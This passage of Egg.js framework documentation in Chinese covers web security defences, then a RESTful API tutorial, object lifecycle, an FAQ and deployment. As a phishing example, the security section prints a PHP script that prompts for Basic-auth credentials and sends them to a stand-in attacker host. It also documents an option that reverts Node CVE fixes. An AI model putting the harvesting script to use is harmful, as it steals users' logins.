由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击。通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息，或欺骗用户进行金钱交易；
也可能引发的 XSS 漏洞（主要是跳转常常使用 302 跳转，即设置 HTTP 响应头，Locatioin: url，如果 url 包含了 CRLF，则可能隔断了 HTTP 响应头，使得后面部分落到了 HTTP body，从而导致 XSS 漏洞）。

### 防范方式

* 若跳转的 url 事先是可以确定的，包括 url 和参数的值，则可以在后台先配置好，url 参数只需传对应 url 的索引即可，通过索引找到对应具体 url 再进行跳转；
* 若跳转的 url 事先不确定，但其输入是由后台生成的（不是用户通过参数传入），则可以先生成好跳转链接然后进行签名；
* 若 1 和 2 都不满足，url 事先无法确定，只能通过前端参数传入，则必须在跳转的时候对 url 进行按规则校验：判断 url 是否在应用授权的白名单内。

框架提供了安全跳转的方法，可以通过配置白名单避免这种风险。

* `ctx.redirect(url)` 如果不在配置的白名单内，则禁止。
* `ctx.unsafeRedirect(url)` 一般不建议使用，明确了解可能带来的风险后使用。

安全方案覆盖了默认的 `ctx.redirect` 方法，所有的跳转均会经过安全域名的判断。

用户如果使用 `ctx.redirect` 方法，需要在应用的配置文件中做如下配置：

```js
// config/config.default.js
exports.security = {
  domainWhiteList: ['.domain.com'], // 安全白名单，以 . 开头
};
```

若用户没有配置 `domainWhiteList` 或者 `domainWhiteList` 数组内为空，则默认会对所有跳转请求放行，即等同于 `ctx.unsafeRedirect(url)`。

### 图片钓鱼

如果可以允许用户向网页里插入未经验证的外链图片，这可能出现钓鱼风险。

比如常见的 `401钓鱼`，攻击者在访问页面时，页面弹出验证页面让用户输入帐号及密码，当用户输入之后，帐号及密码就存储到了黑客的服务器中。
通常这种情况会出现在 `<img src=$url />` 中，系统不对 `$url` 是否在域名白名单内进行校验。

攻击者可以在自己的服务器中构造以下代码：

401.php：作用为弹出 401 窗口，并且记录用户信息。

```php
  <?php
      header('WWW-Authenticate: Basic realm="No authorization"');
      header('HTTP/1.1 401 Unauthorized');
          $domain = "http://hacker.com/fishing/";
          if ($_SERVER['PHP_AUTH_USER'] !== null) {
                  header("Location: ".$domain."record.php?a=".$_SERVER['PHP_AUTH_USER']."&b=".$_SERVER['PHP_AUTH_PW']);
          }
  ?>
```

之后攻击者生成一个图片链接 `<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" />`。

当用户访问时，会弹出信息让用户点击，用户输入的用户名及密码会被黑客的服务器偷偷记录。

### 防范方式

框架提供了 `.surl()` 宏做 url 过滤。

用于在 html 标签中要解析 url 的地方（比如 `<a href=""/>` `<img src=""/>`），其他地方不允许使用。

对模板中要输出的变量，加 `helper.surl($value)`。

**注意：在需要解析 url 的地方，surl 外面一定要加上双引号，否则就会导致 XSS 漏洞。**

不使用 surl

```html
<a href="$value" />
```

output:

```html
<a href="http://www.safe.com<script>" />
```

使用 surl

```html
<a href="helper.surl($value)" />
```

output:

```html
<a href="http://www.safe.com&lt;script&gt;" />
```

### iframe 钓鱼

[iframe 钓鱼](https://www.owasp.org/index.php/Cross_Frame_Scripting)，通过内嵌 iframe 到被攻击的网页中，攻击者可以引导用户去点击 iframe 指向的危险网站，甚至遮盖，影响网站的正常功能，劫持用户的点击操作。

框架提供了 `X-Frame-Options` 这个安全头来防止 iframe 钓鱼。默认值为 SAMEORIGIN，只允许同域把本页面当作 iframe 嵌入。

当需要嵌入一些可信的第三方网页时，可以关闭这个配置。

## 安全威胁 HPP 的防范

Http Parameter Pollution（HPP），即 HTTP 参数污染攻击。在 HTTP 协议中是允许同样名称的参数出现多次，而由于应用的实现不规范，攻击者通过传播参数的时候传输 key 相同而 value 不同的参数，从而达到绕过某些防护的后果。

HPP 可能导致的安全威胁有：

* 绕过防护和参数校验。
* 产生逻辑漏洞和报错，影响应用代码执行。

### 拓展阅读

* [Testing for HTTP Parameter pollution (OTG-INPVAL-004)](https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_\(OTG-INPVAL-004\))
* [HTTP 参数污染的危害](http://blog.csdn.net/eatmilkboy/article/details/6761407)
* [详细介绍 HPP 攻击](https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf)
* [ebay 因参数污染存在 RCE（远程命令执行）漏洞案例](http://secalert.net/2013/12/13/ebay-remote-code-execution/)

### 如何防范

框架本身会在客户端传输 key 相同而 value 不同的参数时，强制使用第一个参数，因此不会导致 HPP 攻击。

## 中间人攻击与 HTTP/HTTPS

HTTP 是网络应用广泛使用的协议，负责 Web 内容的请求和获取。然而，内容请求和获取时会经过许多中间人，主要是网络环节，充当内容入口的浏览器、路由器厂商、WIFI 提供商、通信运营商，如果使用了代理、翻墙软件则会引入更多中间人。由于 HTTP 请求的路径、参数默认情况下均是明文的，因此这些中间人可以对 HTTP 请求进行监控、劫持、阻挡。

在没有 HTTPS 时，运营商可在用户发起请求时直接跳转到某个广告，或者直接改变搜索结果插入自家的广告。如果劫持代码出现了 BUG，则直接让用户无法使用，出现白屏。

数据泄露、请求劫持、内容篡改等问题，核心原因在于 HTTP 是全裸式的明文请求，域名、路径和参数都被中间人们看得一清二楚。HTTPS 做的就是给请求加密，保障用户利益的同时避免本属于自己的流量被挟持，以保护自身利益。

尽管 HTTPS 并非绝对安全，掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击。不过，HTTPS 是现行架构下最安全的解决方案，并且它大幅增加了中间人攻击的成本。

因此，请使用 Egg 框架开发网站的开发者务必推动自己的网站升级到 HTTPS。

对于 HTTPS 来讲，还有一点要注意的是 HTTP 严格传输安全（HSTS）。如果不使用 HSTS，当用户在浏览器中输入网址时没有加 HTTPS，浏览器会默认使用 HTTP 访问。

框架默认关闭了 `hsts Strict-Transport-Security`，以免 HTTPS 站点跳转到 HTTP。如果站点支持 HTTPS，请一定要开启。

如果我们的 Web 站点是 HTTP 站点，需要关闭这个头。配置如下：

* `maxAge` 默认一年 `365 * 24 * 3600`。
* `includeSubdomains` 默认 `false`，可以添加子域名，确保所有子域名都使用 HTTPS 访问。

## 安全威胁 SSRF 的防范

通过 [Server-Side Request Forgery (SSRF)](https://www.owasp.org/index.php/Server_Side_Request_Forgery) 攻击，攻击者可以发起网络请求访问或操作内部网络的资源。

一般来说，SSRF 安全漏洞常见于开发者在服务端直接请求客户端传递进来的 URL 资源，一旦攻击者传入一些内部 URL，就可发起 SSRF 攻击。

### 如何防范

通常，我们会基于内网 IP 黑名单形式来防范 SSRF 攻击。通过对解析域名后得到的 IP 进行过滤，禁止访问内部 IP 地址来达到防范的目的。

框架在 `ctx`、`app` 和 `agent` 上都提供了 `safeCurl` 方法。在发起网络请求的同时会过滤指定的内网 IP 地址，该方法与框架提供的 `curl` 方法用法一致。

* `ctx.safeCurl(url, options)`
* `app.safeCurl(url, options)`
* `agent.safeCurl(url, options)`

#### 配置

直接调用 `safeCurl` 方法并没有任何作用，还需要配合安全配置项：

* `ipBlackList`（Array）配置内网 IP 黑名单，这些网段内的 IP 地址无法被访问。
* `checkAddress`（Function）配置一个检查 IP 地址的函数。根据函数返回值判断是否允许在 `safeCurl` 中访问，当返回非 `true` 时，该 IP 无法被访问。`checkAddress` 优先级高于 `ipBlackList`。

```javascript
// config/config.default.js
exports.security = {
  ssrf: {
    ipBlackList: [
      '10.0.0.0/8', // 支持 IP 网段
      '0.0.0.0/32',
      '127.0.0.1', // 支持指定 IP 地址
    ],
    // 配置了 checkAddress 时，ipBlackList 不会生效
    checkAddress(ip) {
      return ip !== '127.0.0.1';
    },
  },
};
```

## 其他安全工具

### ctx.isSafeDomain(domain)

判断是否为安全域名。安全域名在配置中进行配置，见 `ctx.redirect` 部分。

### app.injectCsrf(str)

此函数提供模板预处理功能——自动插入 CSRF key。可以在所有 form 标签中自动插入 CSRF 隐藏域，用户就不需要手动添加。

### app.injectNonce(str)

若网站开启了 CSP 安全头，并且想使用 `CSP 2.0 nonce` 特性，可使用此函数。请参考 [CSP 是什么](https://www.zhihu.com/question/21979782)。

此函数会扫描模板中的 `script` 标签，并自动添加 nonce 属性。

### app.injectHijackingDefense(str)

对于未开启 HTTPS 的网站，此函数可以有效防止运营商劫持。

## Revert CVE

在 node.js 的安全修复中可能会造成 Breaking change，例如在 18.9.1 版本中修复了一个安全漏洞，导致了一些加密相关的代码无法正常运行。为了解决这个问题，我们提供了一个 `revert` 的参数，在启动时转换为 `--security-revert` 参数，可以绕过 CVE 的修复。

```json
// package.json
{
  "egg": {
    // 支持两种配置方式
    // 一种是直接使用字符串，指定一个 CVE
    "revert": "CVE-2023-46809",
    // 另一种是使用字符串数组，可以指定多个 CVE
    "revert": ["CVE-2023-46809"]
  }
}
```

---

---
url: /zh-CN/tutorials/restful.md
---
# 实现 RESTful API

通过 Web 技术开发服务，为客户端提供接口，可能是各个 Web 框架最广泛的应用之一。这篇文章我们拿 [CNode 社区](https://cnodejs.org/) 的接口来看一看，通过 Egg 如何实现 [RESTful](https://zh.wikipedia.org/wiki/REST) API，供客户端调用。

CNode 社区现在的 v1 版本接口不是完全符合 RESTful 语义。在这篇文章中，我们将基于 CNode v1 的接口，封装一个更符合 RESTful 语义的 v2 版本 API。

## 设计响应格式

在 RESTful 风格的设计中，我们通过响应状态码标识响应的状态，保持响应的 body 简洁，只返回接口数据。以 `topics` 资源为例：

### 获取主题列表

* `GET /api/v2/topics`
* 响应状态码：200
* 响应体：

```json
[
  {
    "id": "57ea257b3670ca3f44c5beb6",
    "author_id": "541bf9b9ad60405c1f151a03",
    "tab": "share",
    "content": "content",
    "last_reply_at": "2017-01-11T13:32:25.089Z",
    "good": false,
    "top": true,
    "reply_count": 155,
    "visit_count": 28176,
    "create_at": "2016-09-27T07:53:31.872Z"
  },
  {
    "id": "57ea257b3670ca3f44c5beb6",
    "author_id": "541bf9b9ad60405c1f151a03",
    "tab": "share",
    "content": "content",
    "title": "《一起学 Node.js》彻底重写完毕",
    "last_reply_at": "2017-01-11T10:20:56.496Z",
    "good": false,
    "top": true,
    "reply_count": 193,
    "visit_count": 47633
  }
]
```

### 获取单个主题

* `GET /api/v2/topics/57ea257b3670ca3f44c5beb6`
* 响应状态码：200
* 响应体：

```json
{
  "id": "57ea257b3670ca3f44c5beb6",
  "author_id": "541bf9b9ad60405c1f151a03",
  "tab": "share",
  "content": "content",
  "title": "《一起学 Node.js》彻底重写完毕",
  "last_reply_at": "2017-01-11T10:20:56.496Z",
  "good": false,
  "top": true,
  "reply_count": 193,
  "visit_count": 47633
}
```

### 创建主题

* `POST /api/v2/topics`
* 响应状态码：201
* 响应体：

```json
{
  "topic_id": "57ea257b3670ca3f44c5beb6"
}
```

### 更新主题

* `PUT /api/v2/topics/57ea257b3670ca3f44c5beb6`
* 响应状态码：204
* 响应体：空

### 错误处理

在接口处理发生错误时，如果是客户端请求参数导致的错误，我们返回 4xx 状态码；如果是服务端自身的处理逻辑错误，我们返回 5xx 状态码。所有异常对象都是对这个异常状态的描述，其中 `error` 字段是错误的描述，`detail` 字段（可选）是导致错误的详细原因。

例如，当客户端传递的参数异常时，我们可能返回一个响应，状态码为 422，返回响应体为：

```json
{
  "error": "Validation Failed",
  "detail": [
    {
      "message": "required",
      "field": "title",
      "code": "missing_field"
    }
  ]
}
```

## 实现

在约定好接口之后，我们可以开始动手实现了。

### 初始化项目

还是通过[快速入门](../intro/quickstart.md)章节介绍的 `npm` 来初始化我们的应用：

```bash
$ mkdir cnode-api && cd cnode-api
$ npm init egg --type=simple
$ npm i
```

### 开启 validate 插件

我们选择 [egg-validate](https://github.com/eggjs/egg-validate) 作为验证插件的示例。在 `config/plugin.js` 文件中开启它：

```js
// config/plugin.js
exports.validate = {
  enable: true,
  package: 'egg-validate',
};
```

### 注册路由

首先，我们先按照前面的设计来注册[路由](../basics/router.md)，框架提供了一个便捷的方式来创建 RESTful 风格的路由，并将一个资源的接口映射到对应的 controller 文件。在 `app/router.js` 中编写：

```js
// app/router.js
module.exports = (app) => {
  app.router.resources('topics', '/api/v2/topics', app.controller.topics);
};
```

通过 `app.resources` 方法，我们将 `topics` 这个资源的增删改查接口映射到了 `app/controller/topics.js` 文件。

### controller 开发

在 [controller](../basics/controller.md) 中，我们只需要实现 `app.resources` 约定的 [RESTful 风格的 URL 定义](../basics/router.md#restful-风格的-url-定义) 中我们需要提供的接口即可。例如我们来实现创建一个 `topics` 的接口：

```js
// app/controller/topics.js
const Controller = require('egg').Controller;

// 定义创建接口的请求参数规则
const createRule = {
  accesstoken: 'string',
  title: 'string',
  tab: { type: 'enum', values: ['ask', 'share', 'job'], required: false },
  content: 'string',
};

class TopicController extends Controller {
  async create() {
    const ctx = this.ctx;
    // 校验 `ctx.request.body` 是否符合我们预期的格式
    // 如果参数校验未通过，将会抛出一个 status = 422 的异常
    ctx.validate(createRule, ctx.request.body);
    // 调用 service 创建一个 topic
    const id = await ctx.service.topics.create(ctx.request.body);
    // 设置响应体和状态码
    ctx.body = {
      topic_id: id,
    };
    ctx.status = 201;
  }
}
module.exports = TopicController;
```

如同注释中说明的，一个 Controller 主要实现了下面的逻辑：

1. 调用 validate 方法对请求参数进行验证。
2. 用验证过的参数调用 service 封装的业务逻辑来创建一个 topic。
3. 按照接口约定的格式设置响应状态码和内容。

### service 开发

在 [service](../basics/service.md) 中，我们可以更加专注地编写实际生效的业务逻辑。

```js
// app/service/topics.js
const Service = require('egg').Service;

class TopicService extends Service {
  constructor(ctx) {
    super(ctx);
    this.root = 'https://cnodejs.org/api/v1';
  }

  async create(params) {
    // 调用 CNode V1 版本 API
    const result = await this.ctx.curl(`${this.root}/topics`, {
      method: 'post',
      data: params,
      dataType: 'json',
      contentType: 'json',
    });
    // 检查调用是否成功，如果调用失败会抛出异常
    this.checkSuccess(result);
    // 返回创建的 topic 的 id
    return result.data.topic_id;
  }

  // 封装统一的调用检查函数，可以在查询、创建和更新等 Service 中复用
  checkSuccess(result) {
    if (result.status !== 200) {
      const errorMsg =
        result.data && result.data.error_msg
          ? result.data.error_msg
          : 'unknown error';
      this.ctx.throw(result.status, errorMsg);
    }
    if (!result.data.success) {
      // 远程调用返回格式错误
      this.ctx.throw(500, 'remote response error', { data: result.data });
    }
  }
}

module.exports = TopicService;
```

在创建 `topic` 的 `Service` 开发完成之后，我们就从上往下的完成了一个接口### 统一错误处理

正常的业务逻辑已经完成，但是异常我们还没有进行处理。在前面编写的代码中，Controller 和 Service 都可能抛出异常，这是我们推荐的编码方式，当发现客户端参数错误或调用后端服务异常时，通过抛出异常的方式来中断操作。

* Controller 中通过 `this.ctx.validate()` 进行参数校验，校验失败时抛出异常。
* Service 中调用了 `this.ctx.curl()` 方法访问 CNode 服务，可能会因网络问题等情况抛出服务端异常。
* Service 中拿到 CNode 服务端返回的结果后，也可能会收到请求调用失败的返回结果，此时同样会抛出异常。

尽管框架提供了默认的异常处理方式，但可能与我们之前接口的约定不一致，因此需要自己实现一个统一错误处理的中间件来处理异常。

在 `app/middleware` 目录下新建一个 `error_handler.js` 文件，创建一个中间件：

```js
// app/middleware/error_handler.js
module.exports = () => {
  return async function errorHandler(ctx, next) {
    try {
      await next();
    } catch (err) {
      // 所有的异常都会触发 app 上的一个 error 事件，框架会记录一条错误日志
      ctx.app.emit('error', err, ctx);

      const status = err.status || 500;
      // 在生产环境中，500 错误的详细内容不返回给客户端，因为可能含有敏感信息
      const error =
        status === 500 && ctx.app.config.env === 'prod'
          ? 'Internal Server Error'
          : err.message;

      // 从 error 对象读出各属性，设置到响应中
      ctx.body = { error };
      if (status === 422) {
        ctx.body.detail = err.errors;
      }
      ctx.status = status;
    }
  };
};
```

通过这个中间件，可以捕获所有异常，并以我们想要的格式组织响应内容。接下来需在配置文件 (`config/config.default.js`) 中加载这个中间件：

```js
// config/config.default.js
module.exports = {
  // 加载 errorHandler 中间件
  middleware: ['errorHandler'],
  // 只对以 /api 为前缀的 URL 路径生效
  errorHandler: {
    match: '/api',
  },
};
```

## 测试

代码完成只是第一步，我们还需要给代码加上[单元测试](../core/unittest.md)。

### Controller 测试

我们先来编写 Controller 代码的单元测试。在写 Controller 单测的时候，我们可以适时地模拟 Service 层的实现，因为对 Controller 的单元测试而言，最重要的部分是测试自身的逻辑，而 Service 层按照约定的接口模拟（mock）掉，Service 自身的逻辑可以让 Service 的单元测试来覆盖，这样我们开发的时候也可以分层进行开发测试。

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/controller/topics.test.js', () => {
  // 测试请求参数错误时应用的响应
  it('should POST /api/v2/topics/ 422', () => {
    app.mockCsrf();
    return app
      .httpRequest()
      .post('/api/v2/topics')
      .send({
        accesstoken: '123',
      })
      .expect(422)
      .expect({
        error: 'Validation Failed',
        detail: [
          { message: 'required', field: 'title', code: 'missing_field' },
          { message: 'required', field: 'content', code: 'missing_field' },
        ],
      });
  });

  // mock 掉 service 层，测试正常时的返回
  it('should POST /api/v2/topics/ 201', () => {
    app.mockCsrf();
    app.mockService('topics', 'create', 123);
    return app
      .httpRequest()
      .post('/api/v2/topics')
      .send({
        accesstoken: '123',
        title: 'title',
        content: 'hello',
      })
      .expect(201)
      .expect({
        topic_id: 123,
      });
  });
});
```

上面对 Controller 的测试中，我们通过 [egg-mock](https://github.com/eggjs/egg-mock) 创建了一个应用，并通过 [SuperTest](https://github.com/visionmedia/supertest) 来模拟客户端发送请求进行测试。在测试中我们会模拟 Service 层的响应来测试 Controller 层的处理逻辑。

### Service 测试

Service 层的测试也只需要聚焦于自身的代码逻辑，[egg-mock](https://github.com/eggjs/egg-mock) 同样提供了快速测试 Service 的方法，不再需要用 SuperTest 模拟从客户端发起请求，而是直接调用 Service 中的方法进行测试。

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/service/topics.test.js', () => {
  let ctx;

  beforeEach(() => {
    // 创建一个匿名的 context 对象，可以在 ctx 对象上调用 service 的方法
    ctx = app.mockContext();
  });

  describe('create()', () => {
    it('should create failed by accesstoken error', async () => {
      try {
        await ctx.service.topics.create({
          accesstoken: 'hello',
          title: 'title',
          content: 'content',
        });
      } catch (err) {
        assert(err.status === 401);
        assert(err.message === '错误的accessToken');
        return;
      }
      throw 'should not run here';
    });

    it('should create success', async () => {
      // 不影响 CNode 的正常运行，我们可以将对 CNode 的调用按照接口约定模拟掉
      // app.mockHttpclient 方法可以便捷地对应用发起的 http 请求进行模拟
      app.mockHttpclient(`${ctx.service.topics.root}/topics`, 'POST', {
        data: {
          success: true,
          topic_id: '5433d5e4e737cbe96dcef312',
        },
      });

      const id = await ctx.service.topics.create({
        accesstoken: 'hello',
        title: 'title',
        content: 'content',
      });
      assert(id === '5433d5e4e737cbe96dcef312');
    });
  });
});
```

上面对 Service 层的测试中，我们通过 egg-mock 提供的 `app.mockContext()` 方法创建了一个 Context 对象，并直接调用 Context 上的 Service 方法进行测试，测试时可以通过 `app.mockHttpclient()` 方法模拟 HTTP 调用的响应，让我们剥离环境的影响而专注于 Service 自身逻辑的测试上。

***

完整的代码实现和测试都在 [eggjs/examples/cnode-api](https://github.com/eggjs/examples/tree/master/cnode-api) 中可以找到。

---

---
url: /zh-CN/advanced/lifecycle.md
---
# 对象生命周期

## 使用场景

需要对对象的生命周期进行管理，如在对象构造、依赖注入完成后进行异步的初始化，在对象销毁时需要将资源同步的销毁等情况。

## 快速开始

```ts
import {
  LifecyclePostConstruct,
  LifecyclePreInject,
  LifecyclePostInject,
  LifecycleInit,
  LifecyclePreDestroy,
  LifecycleDestroy,
  SingletonProto,
  AccessLevel,
} from 'egg';

@SingletonProto({
  accessLevel: AccessLevel.PUBLIC,
  name: 'helloInterface',
})
export class HelloService {
  @LifecyclePostConstruct()
  protected async _postConstruct() {
    // 对象的 construct 调用结束后
    console.log('对象构造完成');
  }

  @LifecyclePreInject()
  protected async _preInject() {
    // 在依赖将要注入前，注意构造器注入的模式不会执行这个方案
    console.log('依赖将要注入');
  }

  @LifecyclePostInject()
  protected async _postInject() {
    // 在依赖注入后，注意构造器注入的模式不会执行这个方案
    console.log('依赖注入完成');
  }

  @LifecycleInit()
  protected async _init() {
    // 在 construct 调用和依赖注入后，一般情况都会使用这个方法
    console.log('执行一些异步的初始化过程');
  }

  @LifecyclePreDestroy()
  protected async _preDestroy() {
    // 在对象将要被释放前调用
    console.log('对象将要释放了');
  }

  @LifecycleDestroy()
  protected async _destroy() {
    // 在对象被释放后调用
    console.log('执行一些释放资源的操作');
  }

  async hello(user: User) {
    return `hello, ${user.name}`;
  }
}
```

## 示例

### 自定义初始化

通过 `CustomUserInfo` 实现自定义的用户信息，在 `init` 生命周期中调用了 rpc 获取用户详细信息。

```ts
import { Inject, ContextProto, AccessLevel, LifecycleInit, User } from 'egg';

@ContextProto({
  accessLevel: AccessLevel.PUBLIC,
})
export class CustomUserInfo {
  mobile: string;
  profile: UserProfile;

  @Inject()
  private readonly userFacade: UserFacade;
  @Inject()
  private readonly user?: User;

  @LifecycleInit()
  protected async _init() {
    if (!this.user?.userId) {
      throw new Error('非法用户请求');
    }
    const profile = await this.userFacade.findByUserId(this.user.userId);
    this.profile = profile;
    this.mobile = profile.mobile;
  }
}
```

### 释放资源

```ts
import { ContextProto, AccessLevel, LifecyclePreDestroy } from 'egg';
import { setInterval, clearInterval } from 'node:timers';

@ContextProto({
  accessLevel: AccessLevel.PUBLIC,
})
export class ContextTimer {
  timer: NodeJS.Timeout;

  constructor() {
    this.timer = setInterval(() => {
      // ...
    }, 1000);
  }

  @LifecyclePreDestroy()
  protected async _preDestroy() {
    // 在对象释放前，释放 timer
    clearInterval(this.timer);
  }
}
```

---

---
url: /zh-CN/faq.md
---
# 常见错误

* [TEGG\_EGG\_PROTO\_NOT\_FOUND](TEGG_EGG_PROTO_NOT_FOUND.md)
* [TEGG\_ROUTER\_CONFLICT](TEGG_ROUTER_CONFLICT.md)

---

---
url: /zh-CN/community/faq.md
---
# 常见问题

如果下面的内容无法解决你的问题，请查看 [Egg issues](https://github.com/eggjs/egg/issues)。

## 如何高效地反馈问题？

感谢你向我们反馈问题。

1. 我们推荐如果是小问题（错别字修改、小的 bug 修复）直接提交 PR。
2. 如果是一个新需求，请提供：详细需求描述，最好是有伪代码示意。
3. 如果是一个 BUG，请提供：复现步骤、错误日志以及相关配置，并尽量填写下面的模板中的条目。
4. **如果可以，尽可能使用 `npm init egg --type=simple bug` 提供一个最小可复现的代码仓库，方便我们排查问题。**
5. 不要挤牙膏似的交流，扩展阅读：[如何向开源项目提交无法解答的问题](https://zhuanlan.zhihu.com/p/25795393)。

最重要的是，请明白一件事：开源项目的用户和维护者之间并不是甲方和乙方的关系；issue 也不是客服工单。在开 issue 的时候，请抱着一种『我们一起合作来解决这个问题』的心态，不要期待我们单方面地为你服务。

## 为什么我的配置不生效？

框架的配置功能比较强大，有不同环境变量，还有框架、插件、应用等多个配置。

如果你在分析问题时想知道当前运行时使用的最终配置，可以查看下 `${root}/run/application_config.json`（worker 进程配置）和 `${root}/run/agent_config.json`（agent 进程配置）这两个文件。(`root` 为应用根目录，只有在 local 和 unittest 环境下为项目所在目录，其他环境下为 HOME 目录)

也可以参见[配置文件](../basics/config.md#配置结果)。

PS：请确保没有写出以下代码：

```js
// config/config.default.js
exports.someKeys = 'abc';
module.exports = (appInfo) => {
  const config = {};
  config.keys = '123456';
  return config;
};
```

## 线上的日志打印去哪里了？

默认配置下，本地开发环境的日志都会打印在应用根目录的 `logs` 文件夹下 (`${baseDir}/logs`)，但在非开发期的环境（非 local 和 unittest 环境）中，所有日志都会打印到 `$HOME/logs` 文件夹下（例如 `/home/admin/logs`）。这样可以让本地开发时应用日志互不影响，服务器运行时又有统一的日志输出目录。

## 进程管理为什么没有选型 PM2？

1. PM2 模块本身复杂度很高，出了问题很难排查。我们认为框架使用的工具复杂度不应该过高，而 PM2 自身的复杂度超越了大部分应用本身。
2. 没法做非常深的优化。
3. 切实需要解决如：多个进程中有一个充当 leader，其他进程则通过代理的方式将请求转发给 leader 这种模式（[多进程模型](../core/cluster-and-ipc.md)），这在企业级开发中可以减少远端连接，降低数据通信压力。特别是当应用规模大到一定程度时，这就会是必需。egg 起源于蚂蚁金服和阿里，我们的起点就是大规模企业应用的构建，所以需要非常全面。这些特性通过 PM2 很难实现。

进程模型非常重要，会影响开发模式以及运行期间的深度优化等，我们认为可能由框架来控制比较合适。

**如何使用 PM2 启动应用？**

尽管我们不推荐使用 PM2 启动，你仍然可以这样做。

首先，在项目根目录定义启动文件：

```js
// server.js
const egg = require('egg');

const workers = Number(process.argv[2] || require('os').cpus().length);
egg.startCluster({
  workers,
  baseDir: __dirname,
});
```

接着，就可以通过 PM2 启动：

```bash
pm2 start server.js
```

## 为什么会有 csrf 报错？

通常有两种 csrf 报错：

* `missing csrf token`
* `invalid csrf token`

Egg 内置的 [@eggjs/security](https://github.com/eggjs/security/) 插件默认对所有“非安全”的方法，例如 `POST`、`PUT`、`DELETE`，都进行 CSRF 校验。

遇到 csrf 报错通常是因为没有加正确的 csrf token 导致的，具体实现方式，请阅读[安全威胁 CSRF 的防范](../core/security.md#安全威胁csrf的防范)。

## 本地开发时，修改代码后为什么 worker 进程没有自动重启？

worker 进程没有自动重启的情形通常发生在使用 Jetbrains 旗下软件（例如 IntelliJ IDEA、WebStorm 等），并且开启了 Safe Write 选项时。

Jetbrains [Safe Write 文档](https://www.jetbrains.com/help/webstorm/2016.3/system-settings.html) 中有提到（翻译如下）：

> “如果此复选框打钩，变更的文件将首先被存储在一个临时文件中。如果文件保存成功，则临时文件会替换原文件（从技术上讲，原文件被删除，临时文件被重命名）。”

由于使用了重命名，文件监听失效。解决方法是关闭 Safe Write 选项。（Settings | Appearance & Behavior | System Settings | Use "safe write"，路径可能因版本不同有所差异）

---

---
url: /zh-CN/core/deployment.md
---
# 应用部署

在[本地开发](./development.md)时，我们使用 `egg-bin dev` 来启动服务，但在部署应用时不可以这样使用。因为 `egg-bin dev` 会针对本地开发做很多处理，而生产环境需要一个更加简单稳定的方式。本章主要讲解如何部署你的应用。

一般从源码到运行，会分为构建和部署两步，实现**一次构建、多次部署**。

## 构建

JavaScript 语言本身不需要编译，构建过程主要是下载依赖。如果使用 TypeScript 或 Babel 支持 ES6 及以上特性，则必须构建。

一般安装依赖时，会指定 `NODE_ENV=production` 或 `npm install --production` 仅安装核心依赖。因为开发依赖包体积大，在生产环境不必要，且可能导致问题。

```bash
$ cd baseDir
$ npm install --production
$ tar -zcvf ../release.tgz .
```

构建后，将其打包为 tgz 文件。部署时解压启动即可。

增加构建环节，能实现真正的**一次构建、多次部署**。理论上，代码未变更时，无需重构，可用原包部署，带来诸多好处：

* 构建环境与运行环境差异，避免污染运行环境。
* 缩短发布时间，便于回滚，只需重启原包即可。

## 部署

服务器需要预装 Node.js，框架支持 Node 版本 `>= 14.20.0`。

框架内置 [egg-cluster] 启动 [Master 进程](./cluster-and-ipc.md#master)，Master 稳定，不需 [pm2] 等进程守护模块。

框架同时提供 [egg-scripts] 支持线上运行和停止。

首先，将 `egg-scripts` 模块引入 `dependencies`：

```bash
$ npm i egg-scripts --save
```

`package.json` 添加 `npm scripts`：

```json
{
  "scripts": {
    "start": "egg-scripts start --daemon",
    "stop": "egg-scripts stop"
  }
}
```

现在，可以通过 `npm start` 和 `npm stop` 启停应用。

> 注意：Windows 系统下 `egg-scripts` 支持有限，详见 [#22](https://github.com/eggjs/egg-scripts/pull/22)。

### 启动命令

```bash
$ egg-scripts start --port=7001 --daemon --title=egg-server-showcase
```

示例支持参数如下：

* `--port=7001`：端口号，默认读取 `process.env.PORT`，未传递则使用内置端口 `7001`。
* `--daemon`：启用后台模式，不需 `nohup`，使用 Docker 时建议前台运行。
* `--env=prod`：运行环境，默认读取 `process.env.EGG_SERVER_ENV`，未传递则使用内置 `prod`。
* `--workers=2`：worker 数，默认创建与 CPU 核数等量的 app worker，利用 CPU 资源。
* `--title=egg-server-showcase`：便于 ps 进程时 grep，未设置默认为 `egg-server-${appname}`。
* `--framework=yadan`：使用[自定义框架](../advanced/framework.md)时，配置 `package.json` 的 `egg.framework` 或指定该参数。
* `--ignore-stderr`：忽略启动期错误。
* `--https.key`：HTTPS 密钥路径。
* `--https.cert`：HTTPS 证书路径。

[egg-cluster] 的所有 Options 支持透传，如 `--port` 等。

更多参数见 [egg-scripts] 和 [egg-cluster] 文档。

> 注意：`--workers` 默认由 `process.env.EGG_WORKERS` 或 `os.cpus().length` 设置，Docker 中 `os.cpus().length` 可能大于核数，值较大可能导致失败，需手动设置 `--workers`，详见 [#1431](https://github.com/eggjs/egg/issues/1431#issuecomment-573989059)。

#### 启动配置项

`config.{env}.js` 中可指定启动配置。

```js
// config/config.default.js

exports.cluster = {
  listen: {
    port: 7001,
    hostname: '127.0.0.1', // 不建议设置为 '0.0.0.0'，可能导致外部连接风险，请了解后使用
    // path: '/var/run/egg.sock',
  },
};
```

`path`、`port`、`hostname` 见 [server.listen](https://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback) 参数。`egg-scripts` 和 `egg.startCluster` 传入的 port 优先级高于此配置。

### 停止命令

```bash
$ egg-scripts stop [--title=egg-server]
```

该命令杀死 master 进程，并优雅退出 worker 和 agent。

支持参数：

* `--title=egg-server`：杀死指定 Egg 应用，未设置则终止所有 Egg 应用。

也可通过 `ps -eo "pid,command" | grep -- "--title=egg-server"` 查找 master 进程，并 `kill` 掉，不需 `kill -9`。

## 监控

我们还需要对服务进行性能监控、内存泄露分析、故障排除等。

业界常用的有：

* [Node.js 性能平台（Alinode）](https://www.aliyun.com/product/nodejs)
* [NSolid](https://nodesource.com/products/nsolid/)

### Node.js 性能平台（Alinode）

**注意**：Node.js 性能平台（Alinode）目前仅支持 macOS 和 Linux，不支持 Windows。

